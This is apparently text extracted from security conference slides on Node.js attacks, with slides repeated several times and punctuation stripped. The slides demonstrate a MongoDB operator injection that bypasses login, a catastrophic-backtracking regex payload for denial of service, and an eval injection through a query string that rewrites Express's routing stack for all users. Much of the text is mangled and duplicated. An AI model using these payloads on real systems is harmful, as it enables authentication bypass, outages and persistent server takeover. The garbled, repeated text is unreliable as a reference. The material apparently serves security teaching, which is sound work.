a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 19: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 20: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 21: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

